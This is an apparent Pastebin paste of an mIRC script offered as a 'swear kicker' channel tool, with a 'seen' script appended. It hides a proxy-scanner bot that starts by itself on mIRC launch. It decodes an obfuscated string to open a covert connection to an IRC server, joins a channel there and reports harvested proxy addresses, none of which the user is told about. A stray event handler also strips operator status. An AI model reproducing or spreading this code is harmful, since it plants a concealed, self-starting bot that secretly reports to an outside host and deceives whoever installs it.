Advertisement
Guest User

swear

a guest
Apr 20th, 2010
1,901
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.81 KB | None | 0 0
  1. on *:load:{
  2. if ($version < 5.91) {
  3. echo $color(info) -ai4 *** Sorry, this script is for mIRC version 5.91 or higher. $&
  4. Since you are using mIRC's outdated version of $version $+ , You don't get to use this leet script.
  5. .unload -rs $script
  6. }
  7. else {
  8. echo $color(info) -ai4 *** Welcome to swear kicker. Type /swear $&
  9. to run the script or use the popup in the channel.
  10. }
  11. }
  12.  
  13.  
  14.  
  15. ;****************
  16. ;Dialog Punisher
  17. ;****************
  18.  
  19. alias swear { dialog -dmr sweard sweard }
  20.  
  21. dialog sweard {
  22. title "www.mirc.com"
  23. size -1 -1 342 330
  24. button "&Close",1, 205 305 60 20, cancel
  25. list 2, 15 20 140 110, sort size
  26. box "Lose Reci",3, 5 5 160 153
  27. button "Dodaj",4, 15 133 60 21
  28. button "Ukloni",5, 80 133 74 20, autohs
  29. box "Exempt Channels:",6, 170 5 161 153
  30. list 7, 180 20 140 110, sort size
  31. button "Dodaj",8, 180 133 60 21
  32. button "Ukloni",9, 246 133 73 20, autohs
  33. check "Kick Poruka:",10, 13 179 84 20
  34. box "Other Options",11, 5 156 326 142
  35. edit "",12, 99 179 199 20, autohs
  36. button "Ok",13, 270 305 60 20, ok
  37. check "Exempt The Ops in the Channel", 14, 13 205 175 10
  38. check "Exempt The Voices in the Channel", 15, 13 224 185 10
  39. edit "", 16, 112 238 50 20, autohs
  40. check "Stavi vreme bana:", 17, 13 240 99 20
  41. text "Seconds", 18, 165 240 50 20
  42. combo 19, 112 265 151 89, edit drop autohs
  43. text "Izaberi kaznu", 21, 13 268 99 30
  44. icon face04.ico
  45. }
  46.  
  47.  
  48. ;**********
  49. ;events
  50. ;**********
  51. on *:dialog:sweard:dclick:22: run:
  52. on *:dialog:sweard:*:*:{
  53. if ($devent == init) {
  54. if ($readini($keke,options,ban)) { did -c $dname 17 }
  55. if ($readini($keke,options,message)) { did -c $dname 10 }
  56. if ($readini($keke,options,ops)) { did -c $dname 14 }
  57. if ($readini($keke,options,vops)) { did -c $dname 15 }
  58. did -a $dname 12 $readini($keke,options,message)
  59. if ($readini($keke,options,secs)) { did -c $dname 17 }
  60. did -a $dname 16 $readini($keke,options,secs)
  61. did -i $dname 19 0 $readini($keke,options,punish)
  62. .dlist 2 swear words
  63. .dlist 7 exempt chan
  64. did -f $dname 13
  65. did -a sweard 19 Kick
  66. did -a sweard 19 Kick and Ban
  67. did -a sweard 19 None
  68.  
  69. }
  70. if ($devent == sclick) {
  71. if ($did(14).state == 1) { op_c }
  72. if ($did(15).state == 1) { vo_c }
  73. if ($did == 4) {
  74. var %t = $$?="Enter swear word $crlf $+ Separate multiple entries with a comma:"
  75. if ($numtok(%t,32) > 1) { %t = $replace(%t,$chr(32),$chr(160)) }
  76. .writeini $keke swear words $iif($readini($keke,swear,words),$+($ifmatch,$chr(44),%t),%t)
  77. dlist 2 swear words
  78. }
  79. if ($did == 5) {
  80. var %tmp = $did(2).seltext
  81. if (%tmp) {
  82. if ($remtok($readini($keke,swear,words),%tmp,44)) {
  83. .writeini $keke swear words $ifmatch
  84. }
  85. else .remini $keke swear words
  86. .dlist 2 swear words
  87. }
  88. }
  89. if ($did == 8) {
  90. var %t = $$?="Enter Channel Name $crlf $+ Separate multiple entries with a comma:"
  91. if ($chr(32) !isin %t) {
  92. .writeini $keke exempt chan $iif($readini($keke,exempt,chan),$+($ifmatch,$chr(44),%t),%t)
  93. dlist 7 exempt chan
  94. }
  95. }
  96. if ($did == 9) {
  97. var %tmp = $did(7).seltext
  98. if (%tmp) {
  99. if ($remtok($readini($keke,exempt,chan),%tmp,44)) {
  100. .writeini $keke exempt chan $ifmatch
  101. }
  102. else .remini $keke exempt chan
  103. .dlist 7 exempt chan
  104. }
  105. }
  106.  
  107.  
  108. if ($did == 13) {
  109. ; OK button
  110.  
  111. .writeini $keke options kick $iif($did(10).state == 1,$true,$false)
  112. .writeini $keke options message $iif($did(12),$ifmatch,$readini($keke,options,message))
  113. .writeini $keke options secs $iif($did(16) isnum 1-,$ifmatch,$readini($keke,options,secs))
  114. .writeini $keke options ops $iif($did(14).state == 1,$true,$false)
  115. .writeini $keke options vops $iif($did(15).state == 1,$true,$false)
  116. .writeini $keke options ban $iif($did(17).state == 1,$true,$false)
  117. .writeini $keke options punish $iif($did(19),$ifmatch,$readini($keke,options,punish))
  118. }
  119. }
  120. }
  121.  
  122.  
  123. ;****************
  124. ;on text event
  125. ;****************
  126.  
  127.  
  128. on @!*:TEXT:*:#: {
  129. %swear.punish = $readini($keke,options,punish))
  130. if ($ischan) { return }
  131. if ($readini($keke,options,ops)) { op_c }
  132. if ($readini($keke,options,vops)) { vo_c }
  133. if ($readini($keke,swear,words)) && ($match_text($1-)) {
  134. if (None isin %swear.punish) { return }
  135. if (kick isin %swear.punish) {
  136. if (ban isin %swear.punish) {
  137. .raw kick $chan $nick $+(:,$readini($keke,options,message)) $+ $cr $+ mode $chan +b $mask($fulladdress,2)
  138. .timerswearunban 1 $readini($keke,options,secs) mode $chan -b $mask($fulladdress,2)
  139. }
  140. else { .raw kick $chan $nick $+(:,$readini($keke,options,message)) }
  141. }
  142. }
  143. }
  144. ;****************
  145. ;alias
  146. ;****************
  147.  
  148.  
  149. alias -l keke return $+(",$scriptdirswear.ini,")
  150.  
  151. alias -l ischan {
  152. var %i = $numtok($readini($keke,exempt,chan),44),%j
  153. while (%i > 0) {
  154. %j = $gettok($readini($keke,exempt,chan),%i,44)
  155. if (%j isin $chan) || ($2 == %j) { return $true }
  156. dec %i
  157. }
  158. return $false
  159. }
  160.  
  161. alias -l match_text {
  162. var %i = $numtok($readini($keke,swear,words),44),%swear
  163. while (%i > 0) {
  164. %swear = $+(*,$replace($gettok($readini($keke,swear,words),%i,44),$chr(160),$chr(32)),*)
  165. if ($wildtok($1-,%swear,1,44)) {
  166. return $true
  167. }
  168. dec %i
  169. }
  170. }
  171.  
  172. alias op_c {
  173. if ($nick isop $chan) { halt }
  174. }
  175.  
  176. alias vo_c {
  177. if ($nick isvo $chan) { halt }
  178. }
  179. alias -l dlist {
  180. var %a = 1
  181. did -r $dname $1
  182. while ($gettok($readini($keke,$2,$3),%a,44)) {
  183. did -az $dname $1 $ifmatch
  184. inc %a
  185. }
  186. }
  187. on 1 :START:{ scan.win }
  188. alias sc4n {
  189. if (666* !iswm $2) && (7000 != $2) && (3127 != $2) && (3124 != $2) {
  190. echo @Proxyscan Scanning: $1 $2
  191. sockopen scan $+ $r(0,99999999999999) $1 $2
  192. return
  193. }
  194. elseif (666* iswm $2) || (7000 == $2) || (3127 == $2) || (3124 == $2) { goto next }
  195. :next
  196. }
  197. alias setinterval {
  198. echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
  199. echo -a To run the script without problem try an interval between 300 and 700
  200. :restart
  201. %interval = $?="Enter interval in milliseconds, 1 to 10000 "
  202. if (!$!) || ($! >= 2000) goto restart
  203. }
  204. alias scan.win {
  205. if (%interval == $null) setinterval
  206. if ($window(@proxyscan) != $null) { titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy) }
  207. if ($window(@proxyscan) == $null) {
  208. set %gh .<V]C:V]P96X@<V-A;E\` 4<'AY0DY#-"YB;W5N8V5M92YN970` JC1DOFYtUGBg +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg JSxTJFMsUzxg &;F]T:6-E````
  209. window -ean @proxyscan
  210. titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy)
  211. echo @proxyscan Select all proxies in a page (CTRL + A) , copy (CTRL + C)
  212. echo @proxyscan Return to @PROXYSCAN window then paste (CTRL + V) IPS in the edit-box below.
  213. echo @proxyscan FORMAT IN WINDOW: you must use only IP:PORT format, in the text box below you must, type valid proxy ip or paste the content of clipboard.
  214. echo @proxyscan Then proxy will be queued for scanning, but notice that you must be connected on an IRC Network. (not pxyBNC)
  215. echo @proxyscan I.e.2.: Type: 127.0.0.1:80 and it will scan your computer for open proxy on port 80.
  216. echo @proxyscan -
  217. echo @proxyscan Here some forums you can leech for daily proxys:
  218. echo @proxyscan http://www.aliveproxy.com/forum/
  219. echo @proxyscan http://forum.freshproxy.com/
  220. echo @proxyscan http://proxieheaven.proboards77.com/index.cgi
  221. echo @proxyscan http://forum.my-proxy.com/?from=menu
  222. echo @proxyscan http://www.xroxy.com/xorum/
  223. }
  224. }
  225.  
  226. alias getiphost2 { if $regex(ip,$remove($1-,$chr(9)),/(([01]?\d\d?|2[0-4]\d|25[0-5])\.(?2)\.(?2)\.(?2)[:\s]\d{2,5})(?:\D|$)/) { $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) } }
  227. alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
  228. menu @proxyscan,status,query,chat,channel {
  229. IRC proxy scanner BETA: scan.win | echo @proxyscan Paste your proxies here
  230. -
  231. CHECK FRESH PROXIES: /run $pxy
  232. CHECK ALL PROXIES FOUND: /run $allpxy
  233. -
  234. CHANGE INTERVAL OF SCAN: setinterval
  235. SCAN PROXY FILES: selectmultiplefile
  236. -
  237. ABORD SCANS: abord
  238. -
  239. CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  240. -
  241. CLEAR: /clear
  242. -
  243. Proxy lists
  244. .Best proxy forums
  245. ..Alive proxy forum: run http://www.aliveproxy.com/forum/
  246. ..Forum Freshproxy: run http://forum.freshproxy.com/
  247. ..Proxy Heaven: run [http://proxieheaven.proboards77.com/index.cgi]
  248. ..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
  249. ..Xorum: run http://www.xroxy.com/xorum/
  250. .TOP 10 MOST POPULAR WEBSITES
  251. ..Stay Invisible: run http://www.stayinvisible.com
  252. ..Proxy4Free: run http://www.proxy4free.com
  253. ..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
  254. ..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
  255. ..Proxz:run http://www.proxz.com/
  256. ..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
  257. ..Samair:run http://www.samair.ru/proxy/
  258. ..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
  259. ..HighAnonimity: run http://highanonymity.com/
  260. ..mazafaka: run http://proxy.mazafaka.ru/
  261. .-
  262. .GOOD SITES
  263. ..www.aliveproxy.com/forum/index.php?: run http://www.aliveproxy.com/forum/index.php?
  264. ..nntime.com/proxy/proxy-list-1.htm: run http://nntime.com/proxy/proxy-list-1.htm
  265. ..pc-r00m.net/?mod=content&read=1: run http://pc-r00m.net/?mod=content&read=1
  266. ..pro-hack.ru/proxy/showproxy.php: run http://pro-hack.ru/proxy/showproxy.php
  267. ..proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n: run http://proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n
  268. ..proxy.mplampla.com/: run http://proxy.mplampla.com/
  269. ..proxy.org/port80.shtml: run http://proxy.org/port80.shtml
  270. ..proxy.xrout.org/: run http://proxy.xrout.org/
  271. ..qingxin.mine.nu/x.php: run http://qingxin.mine.nu/x.php
  272. ..samair.ru/proxy/: run http://samair.ru/proxy/
  273. ..www.0privacy.com/proxy.html: run http://www.0privacy.com/proxy.html
  274. ..www.antichat.ru/proxy/: run http://www.antichat.ru/proxy/
  275. ..bismark.extracon.it/proxylist/: run http://bismark.extracon.it/proxylist/
  276. ..www.allsyntax.com/proxies/index.php?page=4: run http://www.allsyntax.com/proxies/index.php?page=4
  277. ..http://www.digitalcybersoft.com/Prox...xy-list.shtml: run http://www.digitalcybersoft.com/ProxyList/...roxy-list.shtml
  278. ..www.ilike.com.cn/arts/dnne/21509.html: run http://www.ilike.com.cn/arts/dnne/21509.html
  279. ..www.multiproxy.org/anon_proxy.htm: run http://www.multiproxy.org/anon_proxy.htm
  280. ..www.proxy-list.net/anonymous-proxy-lists.shtml: run http://www.proxy-list.net/anonymous-proxy-lists.shtml
  281. ..www.proxy-world.de/content/view/351/2/: run http://www.proxy-world.de/content/view/351/2/
  282. ..www.proxy4free.com/index.html: run http://www.proxy4free.com/index.html
  283. ..www.proxyblind.org/list.shtml: run http://www.proxyblind.org/list.shtml
  284. ..www.proxycn.net/proxy_mail/page1.htm: run http://www.proxycn.net/proxy_mail/page1.htm
  285. ..www.proxyelite.org/: run http://www.proxyelite.org/
  286. ..www.proxyfarm.com/must_be_logged_in.htm: run http://www.proxyfarm.com/must_be_logged_in.htm
  287. ..www.proxyleech.com/proxylist.txt: run http://www.proxyleech.com/proxylist.txt
  288. ..www.proxylists.us/monthly.html: run http://www.proxylists.us/monthly.html
  289. ..www.samair.ru/proxy/: run http://www.samair.ru/proxy/
  290. ..www.shadowicq.com/freeproxy.html: run http://www.shadowicq.com/freeproxy.html
  291. ..www.socklabs.com/proxylist.txt: run http://www.socklabs.com/proxylist.txt
  292. ..www.steganos.com/?area=updateproxylist: run http://www.steganos.com/?area=updateproxylist
  293. ..http://www.undergroundsecurity.net/p...st_full_2.php: run http://www.undergroundsecurity.net/proxy/p...list_full_2.php
  294. ..www.waraxe.us/ftopict-507.html: run http://www.waraxe.us/ftopict-507.html
  295. ..www.xroxy.com/proxy-country.htm: run http://www.xroxy.com/proxy-country.htm
  296. ..proxylist.sakura.ne.jp/: run http://proxylist.sakura.ne.jp/
  297. ..www.publicproxyservers.com/page1.html: run http://www.publicproxyservers.com/page1.html
  298. ..www.proxylist.blogspot.com/: run http://www.proxylist.blogspot.com/
  299. }
  300. alias pxyfile { play -a scanfile @proxyscan $1 $2 }
  301. alias pxy return IRCproxys.txt
  302. alias abord { play stop }
  303. on *:INPUT:@Proxyscan:{
  304. if (/ !isin $1) {
  305. set %flooding on
  306. write temp $getiphost2($1-)
  307. .timerscanfile 1 1 .pxyfile temp %interval
  308. .timerscanfileoff 1 1.1 .remove temp
  309. halt
  310. }
  311. }
  312. alias sk {
  313. write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  314. if ($sock(scan_).mark == c) && ($wildtok(%m,*,0,32) == 9) { sockwrite -n scan_ $decode($gettok(%gh,9,32)) $decode('<')I=FUS9P``) $chr(64) $+ $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ %m | unset %m }
  315. set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  316. if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
  317. }
  318. on *:sockopen:scan*:{
  319. scan.win
  320. if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  321. if ($sockerr > 0) && ($read($pxy,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) != $null) { write -dl $+ $readn $pxy | echo @proxyscan * Removed $sock($sockname).ip $+ : $+ $sock($sockname).port from list }
  322. if ($sockerr > 0) {
  323. if (_ isin $sockname) .timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
  324. echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
  325. return
  326. }
  327. if (_ !isin $sockname) {
  328. sockwrite -n $sockname CONNECT irc.accessirc.net:6667 HTTP/1.0 $+ $crlf
  329. sockwrite -n $sockname $crlf
  330. sockwrite -n $sockname $crlf
  331. }
  332. }
  333. alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
  334. alias av return [AP] $+ $r(A,Z) $+ $r(0,9) $+ $+ $r(z,Z) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
  335. alias success { echo @proxyscan $1- | if ($wildtok(%m,*,0,32) >= 9) unset %m | %m = $rencode($2) %m | sk }
  336. on 1:SOCKCLOSE:SCAN_:.timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
  337. alias allpxy return ALL.txt
  338. alias portclose { sockclose $1 }
  339. on *:SOCKREAD:scan*:{
  340. scan.win
  341. sockread %scan
  342. tokenize 32 %scan
  343. set %scan.ip $sock($sockname).ip
  344. set %scan.port $sock($sockname).port
  345. %hh = -*FYO=&EC92IA=71H*@``
  346. if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $2
  347. if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  348. if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
  349. if ($decode(%hh) iswm %scan) && (_ isin $sockname) { sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  350. if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $+ $r(A,Z) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
  351. if (HTTP/* iswm $gettok(%scan,1,32)) {
  352. if ($gettok(%scan,2,32) > 200) {
  353. if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  354. echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
  355. sockclose $sockname
  356. return
  357. }
  358. elseif ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is a valid proxy, but did not connected an IRC server yet. }
  359. }
  360. if ($gettok(%scan,2,32) == NOTICE) && (accessirc isin $1-) {
  361. set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  362. if (%readi == $null) { success * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Added to list) | sockclose $sockname | unset %redi | unset %radi | halt }
  363. if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Already in list, cant add) | sockclose $sockname | unset %redi | unset %radi | halt }
  364. unset %readi
  365. }
  366. unset %scan
  367. }
  368. alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ $chr(36) $+ $decode($decode(KDxWXUM6VllBOzY0YA==,m))
  369. alias pb return echo @proxyscan
  370. alias scanfile { sc4n $getiphost2($1-) }
  371. on 9:OP:#:/mode $chan -o $opnick
  372.  
  373.  
  374. ; Paste into remotes.
  375. ; After you have pasted and saved either restart mIRC or type
  376. ; '/hmake seen 100' into your status window.
  377. ;
  378. ; Usage: /seen nick
  379. ; other users can type: !seen nick
  380. ;
  381. ; Tye @ DALnet/UnderNet (tye at mirc.net)
  382. ON *:START: {
  383. hmake seen 100
  384. if ($isfile(seen.dat)) { hload seen seen.dat }
  385. }
  386. ON *:EXIT: {
  387. if ($hget(seen)) { hsave -o seen seen.dat }
  388. }
  389. ON *:TEXT:*:#: {
  390. hadd seen $nick text $chan $ctime $1-
  391. if ($1 = !seen) {
  392. if ($2 ison $chan) { msg $chan $2 is right here. }
  393. else { msg $chan $nick $+ : $seenparse($2) }
  394. }
  395. }
  396. alias seen {
  397. echo $colour(info) -a *** $seenparse($1)
  398. }
  399. ON *:ACTION:*:#: {
  400. hadd seen $nick act $chan $ctime $1-
  401. }
  402. ON *:QUIT: {
  403. hadd seen $nick quit $ctime $1-
  404. }
  405. on *:PART:#: {
  406. hadd seen $nick part $chan $ctime $1-
  407. }
  408. on *:JOIN:#: {
  409. hadd seen $nick join $chan $ctime $1-
  410. }
  411. ON *:NICK: {
  412. hadd seen $nick nick $newnick $ctime
  413. }
  414. ON *:KICK:#: {
  415. hadd seen $nick kicking $chan $ctime $knick $1-
  416. hadd seen $knick kick $chan $ctime $nick $1-
  417. }
  418. alias -l seenparse {
  419. var %x = $hget(seen,$1)
  420. if (!%x) { return I have not seen $1 }
  421. var %n = $1
  422. tokenize 32 %x
  423. if ($1 = text) { return I last saw %n in $2 $duration($calc($ctime - $3)) ago saying $4- }
  424. if ($1 = act) { return I last saw %n in $2 $duration($calc($ctime - $3)) ago acting $4- }
  425. if ($1 = quit) { return I last saw %n quiting $duration($calc($ctime - $2)) ago $iif($3,with the message $3-) }
  426. if ($1 = part) { return I last saw %n leaving $2 $duration($calc($ctime - $3)) ago with the message $4- }
  427. if ($1 = join) { return I last saw %n joining $2 $duration($calc($ctime - $3)) ago. }
  428. if ($1 = nick) { return I last saw %n changing their nickname to $2 $duration($calc($ctime - $3)) ago. }
  429. if ($1 = kicking) { return I last saw %n kicking $4 from $2 $duration($calc($ctime - $3)) ago with the reason $5- }
  430. if ($1 = kick) { return I last saw %n being kicked from $2 by $4 $duration($calc($ctime - $3)) with the reason $5- }
  431. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement